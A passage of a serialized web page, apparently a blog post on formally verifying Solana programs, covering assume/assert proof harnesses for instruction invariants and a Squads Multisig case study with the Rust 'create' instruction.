P1)\n",[35465],{"type":25,"tag":264,"props":35466,"children":35467},{"__ignoreMap":7},[35468,35476,35493],{"type":25,"tag":271,"props":35469,"children":35470},{"class":13593,"line":13594},[35471],{"type":25,"tag":271,"props":35472,"children":35473},{"style":13625},[35474],{"type":30,"value":35475},"assume(P0)\n",{"type":25,"tag":271,"props":35477,"children":35478},{"class":13593,"line":11641},[35479,35484,35488],{"type":25,"tag":271,"props":35480,"children":35481},{"style":13625},[35482],{"type":30,"value":35483},"res ",{"type":25,"tag":271,"props":35485,"children":35486},{"style":13603},[35487],{"type":30,"value":1065},{"type":25,"tag":271,"props":35489,"children":35490},{"style":13625},[35491],{"type":30,"value":35492}," instruction_handler(...)\n",{"type":25,"tag":271,"props":35494,"children":35495},{"class":13593,"line":14354},[35496,35500,35504,35509,35514,35519],{"type":25,"tag":271,"props":35497,"children":35498},{"style":16171},[35499],{"type":30,"value":33105},{"type":25,"tag":271,"props":35501,"children":35502},{"style":13625},[35503],{"type":30,"value":394},{"type":25,"tag":271,"props":35505,"children":35507},{"style":35506},"--shiki-default:#F44747",[35508],{"type":30,"value":33742},{"type":25,"tag":271,"props":35510,"children":35511},{"style":13625},[35512],{"type":30,"value":35513},"K ",{"type":25,"tag":271,"props":35515,"children":35516},{"style":35506},[35517],{"type":30,"value":35518},"||",{"type":25,"tag":271,"props":35520,"children":35521},{"style":13625},[35522],{"type":30,"value":35523}," P1)\n",{"type":25,"tag":26,"props":35525,"children":35526},{},[35527],{"type":30,"value":35528},"By itself, this harness doesn't actually prove much. For example, if the instruction fails every time, this proof will still work. However, in conjunction with the two subsequent proofs we can be assured that the instruction will actually succeed when we expect it to.",{"type":25,"tag":247,"props":35530,"children":35532},{"id":35531},"positive-instruction-invariant",[35533],{"type":30,"value":35534},"Positive instruction invariant",{"type":25,"tag":26,"props":35536,"children":35537},{},[35538,35540,35546,35548,35599],{"type":30,"value":35539},"Next we need to prove that ",{"type":25,"tag":264,"props":35541,"children":35543},{"className":35542},[],[35544],{"type":30,"value":35545},"success_if",{"type":30,"value":35547}," is a sufficient condition for instruction success. I.e. ",{"type":25,"tag":264,"props":35549,"children":35551},{"className":35550},[267,268],[35552],{"type":25,"tag":271,"props":35553,"children":35555},{"className":35554},[274],[35556],{"type":25,"tag":271,"props":35557,"children":35559},{"className":35558,"ariaHidden":280},[279],[35560,35586],{"type":25,"tag":271,"props":35561,"children":35563},{"className":35562},[285],[35564,35568,35573,35577,35582],{"type":25,"tag":271,"props":35565,"children":35567},{"className":35566,"style":291},[290],[],{"type":25,"tag":271,"props":35569,"children":35571},{"className":35570,"style":35148},[296,297],[35572],{"type":30,"value":35151},{"type":25,"tag":271,"props":35574,"children":35576},{"className":35575,"style":338},[337],[],{"type":25,"tag":271,"props":35578,"children":35580},{"className":35579},[356],[35581],{"type":30,"value":450},{"type":25,"tag":271,"props":35583,"children":35585},{"className":35584,"style":338},[337],[],{"type":25,"tag":271,"props":35587,"children":35589},{"className":35588},[285],[35590,35594],{"type":25,"tag":271,"props":35591,"children":35593},{"className":35592,"style":291},[290],[],{"type":25,"tag":271,"props":35595,"children":35597},{"className":35596,"style":8574},[296,297],[35598],{"type":30,"value":35223},{"type":30,"value":1860},{"type":25,"tag":26,"props":35601,"children":35602},{},[35603],{"type":30,"value":35604},"Just like before we can construct a proof harness:",{"type":25,"tag":7764,"props":35606,"children":35608},{"code":35607,"language":32581,"meta":7,"className":32582,"style":7},"assume(S)\nres = instruction_handler(...)\nassert(K)\n",[35609],{"type":25,"tag":264,"props":35610,"children":35611},{"__ignoreMap":7},[35612,35620,35635],{"type":25,"tag":271,"props":35613,"children":35614},{"class":13593,"line":13594},[35615],{"type":25,"tag":271,"props":35616,"children":35617},{"style":13625},[35618],{"type":30,"value":35619},"assume(S)\n",{"type":25,"tag":271,"props":35621,"children":35622},{"class":13593,"line":11641},[35623,35627,35631],{"type":25,"tag":271,"props":35624,"children":35625},{"style":13625},[35626],{"type":30,"value":35483},{"type":25,"tag":271,"props":35628,"children":35629},{"style":13603},[35630],{"type":30,"value":1065},{"type":25,"tag":271,"props":35632,"children":35633},{"style":13625},[35634],{"type":30,"value":35492},{"type":25,"tag":271,"props":35636,"children":35637},{"class":13593,"line":14354},[35638,35642],{"type":25,"tag":271,"props":35639,"children":35640},{"style":16171},[35641],{"type":30,"value":33105},{"type":25,"tag":271,"props":35643,"children":35644},{"style":13625},[35645],{"type":30,"value":35646},"(K)\n",{"type":25,"tag":26,"props":35648,"children":35649},{},[35650,35652,35657,35659,35671],{"type":30,"value":35651},"This proof assures that whenever ",{"type":25,"tag":264,"props":35653,"children":35655},{"className":35654},[],[35656],{"type":30,"value":33275},{"type":30,"value":35658}," is satisfied, the instruction will succeed. However, remember that since this is not a biconditional, the instruction may also succeed ",{"type":25,"tag":10281,"props":35660,"children":35661},{},[35662,35664,35669],{"type":30,"value":35663},"even if ",{"type":25,"tag":264,"props":35665,"children":35667},{"className":35666},[],[35668],{"type":30,"value":33275},{"type":30,"value":35670}," is not satisfied",{"type":30,"value":35672},". To specify explicit error conditions we need our third and final proof.",{"type":25,"tag":247,"props":35674,"children":35676},{"id":35675},"_3-negative-instruction-invariant",[35677],{"type":30,"value":35678},"3. Negative instruction invariant",{"type":25,"tag":26,"props":35680,"children":35681},{},[35682,35684,35689,35691,35747],{"type":30,"value":35683},"Finally, we want to prove that ",{"type":25,"tag":264,"props":35685,"children":35687},{"className":35686},[],[35688],{"type":30,"value":33282},{"type":30,"value":35690}," is a sufficient condition for instruction failure. I.e. ",{"type":25,"tag":264,"props":35692,"children":35694},{"className":35693},[267,268],[35695],{"type":25,"tag":271,"props":35696,"children":35698},{"className":35697},[274],[35699],{"type":25,"tag":271,"props":35700,"children":35702},{"className":35701,"ariaHidden":280},[279],[35703,35729],{"type":25,"tag":271,"props":35704,"children":35706},{"className":35705},[285],[35707,35711,35716,35720,35725],{"type":25,"tag":271,"props":35708,"children":35710},{"className":35709,"style":291},[290],[],{"type":25,"tag":271,"props":35712,"children":35714},{"className":35713,"style":35148},[296,297],[35715],{"type":30,"value":35186},{"type":25,"tag":271,"props":35717,"children":35719},{"className":35718,"style":338},[337],[],{"type":25,"tag":271,"props":35721,"children":35723},{"className":35722},[356],[35724],{"type":30,"value":450},{"type":25,"tag":271,"props":35726,"children":35728},{"className":35727,"style":338},[337],[],{"type":25,"tag":271,"props":35730,"children":35732},{"className":35731},[285],[35733,35737,35742],{"type":25,"tag":271,"props":35734,"children":35736},{"className":35735,"style":291},[290],[],{"type":25,"tag":271,"props":35738,"children":35740},{"className":35739},[296],[35741],{"type":30,"value":35281},{"type":25,"tag":271,"props":35743,"children":35745},{"className":35744,"style":8574},[296,297],[35746],{"type":30,"value":35223},{"type":30,"value":1860},{"type":25,"tag":26,"props":35749,"children":35750},{},[35751],{"type":30,"value":35752},"This harness looks just like the previous one:",{"type":25,"tag":7764,"props":35754,"children":35756},{"code":35755,"language":32581,"meta":7,"className":32582,"style":7},"assume(E)\nres = instruction_handler(...)\nassert(!K)\n",[35757],{"type":25,"tag":264,"props":35758,"children":35759},{"__ignoreMap":7},[35760,35768,35783],{"type":25,"tag":271,"props":35761,"children":35762},{"class":13593,"line":13594},[35763],{"type":25,"tag":271,"props":35764,"children":35765},{"style":13625},[35766],{"type":30,"value":35767},"assume(E)\n",{"type":25,"tag":271,"props":35769,"children":35770},{"class":13593,"line":11641},[35771,35775,35779],{"type":25,"tag":271,"props":35772,"children":35773},{"style":13625},[35774],{"type":30,"value":35483},{"type":25,"tag":271,"props":35776,"children":35777},{"style":13603},[35778],{"type":30,"value":1065},{"type":25,"tag":271,"props":35780,"children":35781},{"style":13625},[35782],{"type":30,"value":35492},{"type":25,"tag":271,"props":35784,"children":35785},{"class":13593,"line":14354},[35786,35790,35794,35798],{"type":25,"tag":271,"props":35787,"children":35788},{"style":16171},[35789],{"type":30,"value":33105},{"type":25,"tag":271,"props":35791,"children":35792},{"style":13625},[35793],{"type":30,"value":394},{"type":25,"tag":271,"props":35795,"children":35796},{"style":35506},[35797],{"type":30,"value":33742},{"type":25,"tag":271,"props":35799,"children":35800},{"style":13625},[35801],{"type":30,"value":35802},"K)\n",{"type":25,"tag":26,"props":35804,"children":35805},{},[35806,35808,35812],{"type":30,"value":35807},"With these three harnesses, we are now able to formally verify that instructions succeed or fail when we expect them to ",{"type":25,"tag":10281,"props":35809,"children":35810},{},[35811],{"type":30,"value":29494},{"type":30,"value":35813}," the account invariants we expect are always being preserved.",{"type":25,"tag":96,"props":35815,"children":35817},{"id":35816},"case-study-squads-multisig",[35818],{"type":30,"value":35819},"Case study: Squads Multisig",{"type":25,"tag":26,"props":35821,"children":35822},{},[35823,35825,35830],{"type":30,"value":35824},"During our research, we focused on formally verifying aspects of the ",{"type":25,"tag":83,"props":35826,"children":35828},{"href":31945,"rel":35827},[9066],[35829],{"type":30,"value":31949},{"type":30,"value":1860},{"type":25,"tag":26,"props":35832,"children":35833},{},[35834,35836,35842,35844,35850],{"type":30,"value":35835},"The program defines a Multisig account (",{"type":25,"tag":264,"props":35837,"children":35839},{"className":35838},[],[35840],{"type":30,"value":35841},"Ms",{"type":30,"value":35843},") which has multiple members. These members can propose and then vote on transactions to execute on behalf of the multisig. If at least some ",{"type":25,"tag":264,"props":35845,"children":35847},{"className":35846},[],[35848],{"type":30,"value":35849},"threshold",{"type":30,"value":35851}," of members vote yes, the transaction will be invoked. Additionally, there is functionality to add/remove users and update the threshold.",{"type":25,"tag":26,"props":35853,"children":35854},{},[35855],{"type":30,"value":35856},"In practice, this structure provides a useful way to distribute authority across a group of individuals. From a formal verification perspective, it has both stateless and stateful features and constraints that provided a good testbed for our tooling.",{"type":25,"tag":26,"props":35858,"children":35859},{},[35860],{"type":30,"value":35861},"In this section we will go through a few examples of properties that we can verify on this program:",{"type":25,"tag":661,"props":35863,"children":35864},{},[35865,35870,35875,35880],{"type":25,"tag":112,"props":35866,"children":35867},{},[35868],{"type":30,"value":35869},"Incrementally verifying minimum requirements to create a multisig",{"type":25,"tag":112,"props":35871,"children":35872},{},[35873],{"type":30,"value":35874},"Verify threshold requirements",{"type":25,"tag":112,"props":35876,"children":35877},{},[35878],{"type":30,"value":35879},"Verify requirements to remove a member",{"type":25,"tag":112,"props":35881,"children":35882},{},[35883],{"type":30,"value":35884},"Safety guarantees",{"type":25,"tag":247,"props":35886,"children":35888},{"id":35887},"_1-incrementally-verifying-minimum-requirements-to-create-a-multisig",[35889],{"type":30,"value":35890},"1. Incrementally verifying minimum requirements to create a multisig",{"type":25,"tag":26,"props":35892,"children":35893},{},[35894,35896,35901],{"type":30,"value":35895},"Suppose we want to verify the minimum requirements to create a multisig, i.e. the ",{"type":25,"tag":264,"props":35897,"children":35899},{"className":35898},[],[35900],{"type":30,"value":33275},{"type":30,"value":35902}," expression.",{"type":25,"tag":26,"props":35904,"children":35905},{},[35906,35908,35913,35915,35921],{"type":30,"value":35907},"Creating a multisig (",{"type":25,"tag":264,"props":35909,"children":35911},{"className":35910},[],[35912],{"type":30,"value":35841},{"type":30,"value":35914},") requires invoking the ",{"type":25,"tag":264,"props":35916,"children":35918},{"className":35917},[],[35919],{"type":30,"value":35920},"create",{"type":30,"value":35922}," instruction:",{"type":25,"tag":7764,"props":35924,"children":35926},{"code":35925,"language":13585,"meta":7,"className":13586,"style":7},"#[derive(Accounts)]\n#[instruction(threshold: u16, create_key: Pubkey, members: Vec\u003CPubkey>)]\npub struct Create\u003C'info> {\n    #[account(\n        init,\n        payer = creator,\n        space = Ms::SIZE_WITHOUT_MEMBERS + (members.len() * 32),\n        seeds = [b\"squad\", create_key.as_ref(), b\"multisig\"], bump\n    )]\n    pub multisig: Account\u003C'info, Ms>,\n\n    #[account(mut)]\n    pub creator: Signer\u003C'info>,\n    pub system_program: Program\u003C'info, System>,\n}\n\npub fn create(\n    ctx: Context\u003CCreate>,\n    threshold: u16,\n    create_key: Pubkey,\n    members: Vec\u003CPubkey>,\n) -> Result\u003C()> {\n    // sort the members and remove duplicates\n    let mut members = members;\n    members.sort();\n    members.dedup();\n\n    // check we don't exceed u16\n    let total_members = members.len();\n    if total_members \u003C 1 {\n        return err!(MsError::EmptyMembers);\n    }\n\n    // make sure we don't exceed u16 on first call\n    if total_members > usize::from(u16::MAX) {\n        return err!(MsError::MaxMembersReached);\n    }\n\n    // make sure threshold is valid\n    if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n        return err!(MsError::InvalidThreshold);\n    }\n\n    ctx.accounts.multisig.init(\n        threshold,\n        create_key,\n        members,\n        *ctx.bumps.get(\"multisig\").unwrap(),\n    )\n}\n",[35927],{"type":25,"tag":264,"props":35928,"children":35929},{"__ignoreMap":7},[35930,35947,36002,36032,36040,36048,36065,36116,36166,36174,36215,36222,36238,36271,36312,36319,36326,36345,36373,36393,36413,36441,36460,36468,36496,36516,36536,36543,36551,36583,36606,36641,36649,36657,36666,36708,36741,36749,36757,36766,36842,36875,36883,36891,36928,36941,36954,36967,37021,37030],{"type":25,"tag":271,"props":35931,"children":35932},{"class":13593,"line":13594},[35933,35938,35943],{"type":25,"tag":271,"props":35934,"children":35935},{"style":13625},[35936],{"type":30,"value":35937},"#[derive(",{"type":25,"tag":271,"props":35939,"children":35940},{"style":13609},[35941],{"type":30,"value":35942},"Accounts",{"type":25,"tag":271,"props":35944,"children":35945},{"style":13625},[35946],{"type":30,"value":33379},{"type":25,"tag":271,"props":35948,"children":35949},{"class":13593,"line":11641},[35950,35955,35959,35963,35968,35972,35976,35981,35985,35989,35993,35997],{"type":25,"tag":271,"props":35951,"children":35952},{"style":13625},[35953],{"type":30,"value":35954},"#[instruction(threshold",{"type":25,"tag":271,"props":35956,"children":35957},{"style":13603},[35958],{"type":30,"value":359},{"type":25,"tag":271,"props":35960,"children":35961},{"style":13609},[35962],{"type":30,"value":34150},{"type":25,"tag":271,"props":35964,"children":35965},{"style":13625},[35966],{"type":30,"value":35967},", create_key",{"type":25,"tag":271,"props":35969,"children":35970},{"style":13603},[35971],{"type":30,"value":359},{"type":25,"tag":271,"props":35973,"children":35974},{"style":13609},[35975],{"type":30,"value":33977},{"type":25,"tag":271,"props":35977,"children":35978},{"style":13625},[35979],{"type":30,"value":35980},", members",{"type":25,"tag":271,"props":35982,"children":35983},{"style":13603},[35984],{"type":30,"value":359},{"type":25,"tag":271,"props":35986,"children":35987},{"style":13609},[35988],{"type":30,"value":34509},{"type":25,"tag":271,"props":35990,"children":35991},{"style":13625},[35992],{"type":30,"value":14307},{"type":25,"tag":271,"props":35994,"children":35995},{"style":13609},[35996],{"type":30,"value":34518},{"type":25,"tag":271,"props":35998,"children":35999},{"style":13625},[36000],{"type":30,"value":36001},">)]\n",{"type":25,"tag":271,"props":36003,"children":36004},{"class":13593,"line":14354},[36005,36009,36013,36018,36023,36028],{"type":25,"tag":271,"props":36006,"children":36007},{"style":14289},[36008],{"type":30,"value":14292},{"type":25,"tag":271,"props":36010,"children":36011},{"style":14289},[36012],{"type":30,"value":34271},{"type":25,"tag":271,"props":36014,"children":36015},{"style":13609},[36016],{"type":30,"value":36017}," Create",{"type":25,"tag":271,"props":36019,"children":36020},{"style":13625},[36021],{"type":30,"value":36022},"\u003C'",{"type":25,"tag":271,"props":36024,"children":36025},{"style":13609},[36026],{"type":30,"value":36027},"info",{"type":25,"tag":271,"props":36029,"children":36030},{"style":13625},[36031],{"type":30,"value":20404},{"type":25,"tag":271,"props":36033,"children":36034},{"class":13593,"line":14391},[36035],{"type":25,"tag":271,"props":36036,"children":36037},{"style":13625},[36038],{"type":30,"value":36039},"    #[account(\n",{"type":25,"tag":271,"props":36041,"children":36042},{"class":13593,"line":14400},[36043],{"type":25,"tag":271,"props":36044,"children":36045},{"style":13625},[36046],{"type":30,"value":36047},"        init,\n",{"type":25,"tag":271,"props":36049,"children":36050},{"class":13593,"line":16406},[36051,36056,36060],{"type":25,"tag":271,"props":36052,"children":36053},{"style":13625},[36054],{"type":30,"value":36055},"        payer ",{"type":25,"tag":271,"props":36057,"children":36058},{"style":13603},[36059],{"type":30,"value":1065},{"type":25,"tag":271,"props":36061,"children":36062},{"style":13625},[36063],{"type":30,"value":36064}," creator,\n",{"type":25,"tag":271,"props":36066,"children":36067},{"class":13593,"line":16434},[36068,36073,36077,36081,36085,36090,36094,36099,36103,36107,36111],{"type":25,"tag":271,"props":36069,"children":36070},{"style":13625},[36071],{"type":30,"value":36072},"        space ",{"type":25,"tag":271,"props":36074,"children":36075},{"style":13603},[36076],{"type":30,"value":1065},{"type":25,"tag":271,"props":36078,"children":36079},{"style":13609},[36080],{"type":30,"value":34276},{"type":25,"tag":271,"props":36082,"children":36083},{"style":13603},[36084],{"type":30,"value":13617},{"type":25,"tag":271,"props":36086,"children":36087},{"style":13609},[36088],{"type":30,"value":36089},"SIZE_WITHOUT_MEMBERS",{"type":25,"tag":271,"props":36091,"children":36092},{"style":13603},[36093],{"type":30,"value":22025},{"type":25,"tag":271,"props":36095,"children":36096},{"style":13625},[36097],{"type":30,"value":36098}," (members",{"type":25,"tag":271,"props":36100,"children":36101},{"style":13603},[36102],{"type":30,"value":1860},{"type":25,"tag":271,"props":36104,"children":36105},{"style":13625},[36106],{"type":30,"value":34141},{"type":25,"tag":271,"props":36108,"children":36109},{"style":13603},[36110],{"type":30,"value":17702},{"type":25,"tag":271,"props":36112,"children":36113},{"style":13625},[36114],{"type":30,"value":36115}," 32),\n",{"type":25,"tag":271,"props":36117,"children":36118},{"class":13593,"line":16447},[36119,36124,36128,36133,36138,36142,36146,36151,36156,36161],{"type":25,"tag":271,"props":36120,"children":36121},{"style":13625},[36122],{"type":30,"value":36123},"        seeds ",{"type":25,"tag":271,"props":36125,"children":36126},{"style":13603},[36127],{"type":30,"value":1065},{"type":25,"tag":271,"props":36129,"children":36130},{"style":13625},[36131],{"type":30,"value":36132}," [",{"type":25,"tag":271,"props":36134,"children":36135},{"style":17388},[36136],{"type":30,"value":36137},"b\"squad\"",{"type":25,"tag":271,"props":36139,"children":36140},{"style":13625},[36141],{"type":30,"value":35967},{"type":25,"tag":271,"props":36143,"children":36144},{"style":13603},[36145],{"type":30,"value":1860},{"type":25,"tag":271,"props":36147,"children":36148},{"style":13625},[36149],{"type":30,"value":36150},"as_ref(), ",{"type":25,"tag":271,"props":36152,"children":36153},{"style":17388},[36154],{"type":30,"value":36155},"b\"multisig\"",{"type":25,"tag":271,"props":36157,"children":36158},{"style":13625},[36159],{"type":30,"value":36160},"], ",{"type":25,"tag":271,"props":36162,"children":36163},{"style":13598},[36164],{"type":30,"value":36165},"bump\n",{"type":25,"tag":271,"props":36167,"children":36168},{"class":13593,"line":16465},[36169],{"type":25,"tag":271,"props":36170,"children":36171},{"style":13625},[36172],{"type":30,"value":36173},"    )]\n",{"type":25,"tag":271,"props":36175,"children":36176},{"class":13593,"line":16486},[36177,36181,36186,36190,36195,36199,36203,36207,36211],{"type":25,"tag":271,"props":36178,"children":36179},{"style":14289},[36180],{"type":30,"value":33963},{"type":25,"tag":271,"props":36182,"children":36183},{"style":13598},[36184],{"type":30,"value":36185}," multisig",{"type":25,"tag":271,"props":36187,"children":36188},{"style":13603},[36189],{"type":30,"value":359},{"type":25,"tag":271,"props":36191,"children":36192},{"style":13609},[36193],{"type":30,"value":36194}," Account",{"type":25,"tag":271,"props":36196,"children":36197},{"style":13625},[36198],{"type":30,"value":36022},{"type":25,"tag":271,"props":36200,"children":36201},{"style":13609},[36202],{"type":30,"value":36027},{"type":25,"tag":271,"props":36204,"children":36205},{"style":13625},[36206],{"type":30,"value":44},{"type":25,"tag":271,"props":36208,"children":36209},{"style":13609},[36210],{"type":30,"value":35841},{"type":25,"tag":271,"props":36212,"children":36213},{"style":13625},[36214],{"type":30,"value":19267},{"type":25,"tag":271,"props":36216,"children":36217},{"class":13593,"line":16495},[36218],{"type":25,"tag":271,"props":36219,"children":36220},{"emptyLinePlaceholder":18},[36221],{"type":30,"value":16829},{"type":25,"tag":271,"props":36223,"children":36224},{"class":13593,"line":16744},[36225,36230,36234],{"type":25,"tag":271,"props":36226,"children":36227},{"style":13625},[36228],{"type":30,"value":36229},"    #[account(",{"type":25,"tag":271,"props":36231,"children":36232},{"style":14289},[36233],{"type":30,"value":16877},{"type":25,"tag":271,"props":36235,"children":36236},{"style":13625},[36237],{"type":30,"value":33379},{"type":25,"tag":271,"props":36239,"children":36240},{"class":13593,"line":16761},[36241,36245,36250,36254,36259,36263,36267],{"type":25,"tag":271,"props":36242,"children":36243},{"style":14289},[36244],{"type":30,"value":33963},{"type":25,"tag":271,"props":36246,"children":36247},{"style":13598},[36248],{"type":30,"value":36249}," creator",{"type":25,"tag":271,"props":36251,"children":36252},{"style":13603},[36253],{"type":30,"value":359},{"type":25,"tag":271,"props":36255,"children":36256},{"style":13609},[36257],{"type":30,"value":36258}," Signer",{"type":25,"tag":271,"props":36260,"children":36261},{"style":13625},[36262],{"type":30,"value":36022},{"type":25,"tag":271,"props":36264,"children":36265},{"style":13609},[36266],{"type":30,"value":36027},{"type":25,"tag":271,"props":36268,"children":36269},{"style":13625},[36270],{"type":30,"value":19267},{"type":25,"tag":271,"props":36272,"children":36273},{"class":13593,"line":16778},[36274,36278,36283,36287,36292,36296,36300,36304,36308],{"type":25,"tag":271,"props":36275,"children":36276},{"style":14289},[36277],{"type":30,"value":33963},{"type":25,"tag":271,"props":36279,"children":36280},{"style":13598},[36281],{"type":30,"value":36282}," system_program",{"type":25,"tag":271,"props":36284,"children":36285},{"style":13603},[36286],{"type":30,"value":359},{"type":25,"tag":271,"props":36288,"children":36289},{"style":13609},[36290],{"type":30,"value":36291}," Program",{"type":25,"tag":271,"props":36293,"children":36294},{"style":13625},[36295],{"type":30,"value":36022},{"type":25,"tag":271,"props":36297,"children":36298},{"style":13609},[36299],{"type":30,"value":36027},{"type":25,"tag":271,"props":36301,"children":36302},{"style":13625},[36303],{"type":30,"value":44},{"type":25,"tag":271,"props":36305,"children":36306},{"style":13609},[36307],{"type":30,"value":15362},{"type":25,"tag":271,"props":36309,"children":36310},{"style":13625},[36311],{"type":30,"value":19267},{"type":25,"tag":271,"props":36313,"children":36314},{"class":13593,"line":16791},[36315],{"type":25,"tag":271,"props":36316,"children":36317},{"style":13625},[36318],{"type":30,"value":17058},{"type":25,"tag":271,"props":36320,"children":36321},{"class":13593,"line":16800},[36322],{"type":25,"tag":271,"props":36323,"children":36324},{"emptyLinePlaceholder":18},[36325],{"type":30,"value":16829},{"type":25,"tag":271,"props":36327,"children":36328},{"class":13593,"line":16823},[36329,36333,36337,36341],{"type":25,"tag":271,"props":36330,"children":36331},{"style":14289},[36332],{"type":30,"value":14292},{"type":25,"tag":271,"props":36334,"children":36335},{"style":14289},[36336],{"type":30,"value":14297},{"type":25,"tag":271,"props":36338,"children":36339},{"style":13620},[36340],{"type":30,"value":20236},{"type":25,"tag":271,"props":36342,"children":36343},{"style":13625},[36344],{"type":30,"value":16609},{"type":25,"tag":271,"props":36346,"children":36347},{"class":13593,"line":16832},[36348,36352,36356,36360,36364,36369],{"type":25,"tag":271,"props":36349,"children":36350},{"style":13598},[36351],{"type":30,"value":33344},{"type":25,"tag":271,"props":36353,"children":36354},{"style":13603},[36355],{"type":30,"value":359},{"type":25,"tag":271,"props":36357,"children":36358},{"style":13609},[36359],{"type":30,"value":33410},{"type":25,"tag":271,"props":36361,"children":36362},{"style":13625},[36363],{"type":30,"value":14307},{"type":25,"tag":271,"props":36365,"children":36366},{"style":13609},[36367],{"type":30,"value":36368},"Create",{"type":25,"tag":271,"props":36370,"children":36371},{"style":13625},[36372],{"type":30,"value":19267},{"type":25,"tag":271,"props":36374,"children":36375},{"class":13593,"line":16841},[36376,36381,36385,36389],{"type":25,"tag":271,"props":36377,"children":36378},{"style":13598},[36379],{"type":30,"value":36380},"    threshold",{"type":25,"tag":271,"props":36382,"children":36383},{"style":13603},[36384],{"type":30,"value":359},{"type":25,"tag":271,"props":36386,"children":36387},{"style":13609},[36388],{"type":30,"value":34150},{"type":25,"tag":271,"props":36390,"children":36391},{"style":13625},[36392],{"type":30,"value":14351},{"type":25,"tag":271,"props":36394,"children":36395},{"class":13593,"line":16907},[36396,36401,36405,36409],{"type":25,"tag":271,"props":36397,"children":36398},{"style":13598},[36399],{"type":30,"value":36400},"    create_key",{"type":25,"tag":271,"props":36402,"children":36403},{"style":13603},[36404],{"type":30,"value":359},{"type":25,"tag":271,"props":36406,"children":36407},{"style":13609},[36408],{"type":30,"value":33977},{"type":25,"tag":271,"props":36410,"children":36411},{"style":13625},[36412],{"type":30,"value":14351},{"type":25,"tag":271,"props":36414,"children":36415},{"class":13593,"line":16915},[36416,36421,36425,36429,36433,36437],{"type":25,"tag":271,"props":36417,"children":36418},{"style":13598},[36419],{"type":30,"value":36420},"    members",{"type":25,"tag":271,"props":36422,"children":36423},{"style":13603},[36424],{"type":30,"value":359},{"type":25,"tag":271,"props":36426,"children":36427},{"style":13609},[36428],{"type":30,"value":34509},{"type":25,"tag":271,"props":36430,"children":36431},{"style":13625},[36432],{"type":30,"value":14307},{"type":25,"tag":271,"props":36434,"children":36435},{"style":13609},[36436],{"type":30,"value":34518},{"type":25,"tag":271,"props":36438,"children":36439},{"style":13625},[36440],{"type":30,"value":19267},{"type":25,"tag":271,"props":36442,"children":36443},{"class":13593,"line":16945},[36444,36448,36452,36456],{"type":25,"tag":271,"props":36445,"children":36446},{"style":13625},[36447],{"type":30,"value":14406},{"type":25,"tag":271,"props":36449,"children":36450},{"style":13603},[36451],{"type":30,"value":14411},{"type":25,"tag":271,"props":36453,"children":36454},{"style":13609},[36455],{"type":30,"value":14416},{"type":25,"tag":271,"props":36457,"children":36458},{"style":13625},[36459],{"type":30,"value":33452},{"type":25,"tag":271,"props":36461,"children":36462},{"class":13593,"line":16953},[36463],{"type":25,"tag":271,"props":36464,"children":36465},{"style":14385},[36466],{"type":30,"value":36467},"    // sort the members and remove duplicates\n",{"type":25,"tag":271,"props":36469,"children":36470},{"class":13593,"line":16984},[36471,36475,36479,36484,36488,36492],{"type":25,"tag":271,"props":36472,"children":36473},{"style":14289},[36474],{"type":30,"value":16140},{"type":25,"tag":271,"props":36476,"children":36477},{"style":14289},[36478],{"type":30,"value":16145},{"type":25,"tag":271,"props":36480,"children":36481},{"style":13598},[36482],{"type":30,"value":36483}," members",{"type":25,"tag":271,"props":36485,"children":36486},{"style":13603},[36487],{"type":30,"value":16155},{"type":25,"tag":271,"props":36489,"children":36490},{"style":13598},[36491],{"type":30,"value":36483},{"type":25,"tag":271,"props":36493,"children":36494},{"style":13625},[36495],{"type":30,"value":16165},{"type":25,"tag":271,"props":36497,"children":36498},{"class":13593,"line":16992},[36499,36503,36507,36512],{"type":25,"tag":271,"props":36500,"children":36501},{"style":13598},[36502],{"type":30,"value":36420},{"type":25,"tag":271,"props":36504,"children":36505},{"style":13603},[36506],{"type":30,"value":1860},{"type":25,"tag":271,"props":36508,"children":36509},{"style":13620},[36510],{"type":30,"value":36511},"sort",{"type":25,"tag":271,"props":36513,"children":36514},{"style":13625},[36515],{"type":30,"value":16820},{"type":25,"tag":271,"props":36517,"children":36518},{"class":13593,"line":17052},[36519,36523,36527,36532],{"type":25,"tag":271,"props":36520,"children":36521},{"style":13598},[36522],{"type":30,"value":36420},{"type":25,"tag":271,"props":36524,"children":36525},{"style":13603},[36526],{"type":30,"value":1860},{"type":25,"tag":271,"props":36528,"children":36529},{"style":13620},[36530],{"type":30,"value":36531},"dedup",{"type":25,"tag":271,"props":36533,"children":36534},{"style":13625},[36535],{"type":30,"value":16820},{"type":25,"tag":271,"props":36537,"children":36538},{"class":13593,"line":22168},[36539],{"type":25,"tag":271,"props":36540,"children":36541},{"emptyLinePlaceholder":18},[36542],{"type":30,"value":16829},{"type":25,"tag":271,"props":36544,"children":36545},{"class":13593,"line":22186},[36546],{"type":25,"tag":271,"props":36547,"children":36548},{"style":14385},[36549],{"type":30,"value":36550},"    // check we don't exceed u16\n",{"type":25,"tag":271,"props":36552,"children":36553},{"class":13593,"line":22231},[36554,36558,36563,36567,36571,36575,36579],{"type":25,"tag":271,"props":36555,"children":36556},{"style":14289},[36557],{"type":30,"value":16140},{"type":25,"tag":271,"props":36559,"children":36560},{"style":13598},[36561],{"type":30,"value":36562}," total_members",{"type":25,"tag":271,"props":36564,"children":36565},{"style":13603},[36566],{"type":30,"value":16155},{"type":25,"tag":271,"props":36568,"children":36569},{"style":13598},[36570],{"type":30,"value":36483},{"type":25,"tag":271,"props":36572,"children":36573},{"style":13603},[36574],{"type":30,"value":1860},{"type":25,"tag":271,"props":36576,"children":36577},{"style":13620},[36578],{"type":30,"value":22261},{"type":25,"tag":271,"props":36580,"children":36581},{"style":13625},[36582],{"type":30,"value":16820},{"type":25,"tag":271,"props":36584,"children":36585},{"class":13593,"line":22337},[36586,36590,36594,36598,36602],{"type":25,"tag":271,"props":36587,"children":36588},{"style":16171},[36589],{"type":30,"value":25404},{"type":25,"tag":271,"props":36591,"children":36592},{"style":13598},[36593],{"type":30,"value":36562},{"type":25,"tag":271,"props":36595,"children":36596},{"style":13603},[36597],{"type":30,"value":21839},{"type":25,"tag":271,"props":36599,"children":36600},{"style":16187},[36601],{"type":30,"value":17654},{"type":25,"tag":271,"props":36603,"children":36604},{"style":13625},[36605],{"type":30,"value":16431},{"type":25,"tag":271,"props":36607,"children":36609},{"class":13593,"line":36608},31,[36610,36614,36619,36623,36628,36632,36637],{"type":25,"tag":271,"props":36611,"children":36612},{"style":16171},[36613],{"type":30,"value":28866},{"type":25,"tag":271,"props":36615,"children":36616},{"style":13620},[36617],{"type":30,"value":36618}," 